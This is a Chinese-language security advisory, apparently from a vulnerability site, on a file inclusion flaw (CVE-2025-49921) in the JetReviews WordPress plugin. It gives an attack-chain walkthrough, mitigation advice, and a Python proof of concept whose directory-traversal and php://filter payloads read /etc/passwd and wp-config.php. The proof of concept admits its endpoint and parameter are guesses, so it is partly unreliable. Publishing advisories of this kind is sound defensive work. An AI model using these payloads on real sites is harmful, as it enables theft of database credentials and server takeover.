IPBUF安全漏洞报告
English
CVE-2025-49921 CVSS 7.5 高危

CVE-2025-49921:JetReviews插件PHP本地文件包含漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-49921
漏洞类型
本地文件包含(LFI)/ PHP远程文件包含(RFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Crocoblock JetReviews(WordPress插件)

相关标签

PHP本地文件包含LFI远程文件包含RFIWordPressJetReviewsCrocoblock高危漏洞文件读取

漏洞概述

CVE-2025-49921是Crocoblock JetReviews WordPress插件中存在的一个PHP本地文件包含(Local File Inclusion,LFI)漏洞,CVSS评分为7.5,属于高危级别漏洞。该漏洞源于插件在PHP程序中对包含/引入语句的文件名控制不当,即'PHP Remote File Inclusion'类缺陷。由于JetReviews插件未对用户可控的文件路径参数进行充分的验证和过滤,攻击者可以通过构造恶意的文件路径,触发PHP的include/require语句加载本地或远程的恶意文件,从而执行任意代码。

此漏洞的影响范围涵盖JetReviews插件从初始版本到3.0.0(含)的所有版本。该插件是WordPress生态系统中广泛使用的评论管理工具,被大量网站用于增强评论功能,因此漏洞影响面较广。攻击者需要获得低权限认证(如订阅者级别的WordPress账户)即可利用该漏洞,无需用户交互。一旦成功利用,攻击者可以读取服务器上的敏感文件(如配置文件、密码文件等),甚至通过PHP文件包含执行任意代码,导致服务器完全失陷。该漏洞的机密性、完整性和可用性影响均为高,表明其危害程度极大,可能导致数据泄露、网站篡改以及服务器被完全控制等严重后果。

该漏洞由Patchstack安全团队的[email protected]发现并报告,于2025年10月22日正式披露。Patchstack作为WordPress安全领域的专业团队,及时识别并报告了该漏洞,为插件开发者和网站管理员提供了修复窗口期。建议所有使用JetReviews插件的WordPress网站管理员尽快检查并升级到修复后的版本。

技术细节

该漏洞属于PHP程序中经典的本地文件包含(LFI)漏洞,根因在于JetReviews插件代码中对include或require语句所使用的文件名参数未进行严格的过滤和验证。具体而言,插件在处理某些功能模块时,可能直接或间接地将用户可控的输入作为文件路径传递给PHP的include/require函数,而没有使用白名单机制或对路径进行规范化处理。

从技术层面分析,攻击者利用此漏洞的步骤如下:首先,攻击者需要拥有一个有效的WordPress账户(低权限即可,如订阅者角色)。然后,攻击者通过构造包含恶意文件路径的请求,发送到存在漏洞的插件端点。由于插件未对路径中的目录遍历序列(如../)或PHP包装器(如php://filter、php://input)进行过滤,攻击者可以:1)使用目录遍历读取服务器上的任意文件,如/etc/passwd、wp-config.php等敏感文件;2)通过PHP流包装器读取PHP源码或执行预定义操作;3)在特定配置下(allow_url_include=On),利用PHP的远程文件包含功能加载远程服务器上的恶意PHP脚本,实现远程代码执行(RCE)。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H,表明攻击通过网络进行(AV:N),攻击复杂度较高(AC:H,因为需要认证和一些特定条件),需要低权限(PR:L),无需用户交互(UI:N),且对机密性、完整性、可用性均有高影响。AC:H的评级反映了利用该漏洞需要一定的认证条件和配置环境。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过注册或购买/窃取的方式获取目标WordPress网站的一个低权限账户(如订阅者Subscriber角色),该角色是WordPress中权限最低的注册用户角色。
STEP 2
步骤2:登录WordPress后台
使用获取的低权限账户凭据登录WordPress,通过wp-login.php进行认证,获取有效的会话Cookie,以便后续请求能够通过权限验证。
STEP 3
步骤3:探测JetReviews插件端点
攻击者访问JetReviews插件的功能端点(通常通过admin-ajax.php或REST API),识别哪些参数接受文件路径输入,并测试是否存在文件包含漏洞。
STEP 4
步骤4:构造恶意文件路径
攻击者构造包含目录遍历序列(如../../../)或PHP流包装器(如php://filter)的恶意文件路径,将其注入到存在漏洞的参数中。
STEP 5
步骤5:触发文件包含
发送包含恶意路径的请求到服务器,触发JetReviews插件中未过滤的include/require语句,导致服务器加载并执行/解析指定的文件。
STEP 6
步骤6:读取敏感文件或执行代码
成功利用后,攻击者可以读取服务器上的敏感文件(如wp-config.php获取数据库凭据),或通过PHP包装器执行任意代码,最终完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-49921 - JetReviews Plugin LFI PoC # Vulnerability: PHP Local File Inclusion in Crocoblock JetReviews # Affected versions: <= 3.0.0 import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate to WordPress to obtain session cookies session = requests.Session() # Login to WordPress (wp-login.php) login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit the LFI vulnerability via JetReviews endpoint # The vulnerable parameter accepts a file path that is passed to include/require # without proper sanitization lfi_payloads = [ # Read /etc/passwd via directory traversal "../../../../../../../../etc/passwd", # Read WordPress configuration file "../../../../../../../../var/www/html/wp-config.php", # PHP filter wrapper to read source code as base64 "php://filter/convert.base64-encode/resource=../../../../wp-config.php", # Direct PHP input wrapper (if allow_url_include is enabled) # "php://input", ] for payload in lfi_payloads: print(f"[*] Trying payload: {payload}") # The vulnerable endpoint and parameter name may vary # Common pattern for JetReviews LFI params = { "action": "jet_reviews_get", "template": payload, # Vulnerable parameter } response = session.get( f"{TARGET_URL}/wp-admin/admin-ajax.php", params=params ) if response.status_code == 200: print(f"[+] Response:\n{response.text[:500]}") print("-" * 50) else: print(f"[-] Status: {response.status_code}") # Note: The exact endpoint and parameter name should be verified # against the specific JetReviews version being tested. # Reference: https://patchstack.com/database/Wordpress/Plugin/jet-reviews/

影响范围

Crocoblock JetReviews <= 3.0.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过WordPress管理后台暂时停用JetReviews插件,评估业务影响后再决定是否完全移除;2)在Web服务器或WAF层面添加规则,阻止包含目录遍历序列(../)和PHP流包装器(php://)的恶意请求;3)检查PHP配置文件(php.ini),确保allow_url_include设置为Off;4)审查WordPress用户列表,删除可疑的低权限账户;5)监控服务器日志,关注对admin-ajax.php和JetReviews相关端点的异常请求;6)限制WordPress管理区域的访问IP范围;7)对网站文件和数据库进行完整备份,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表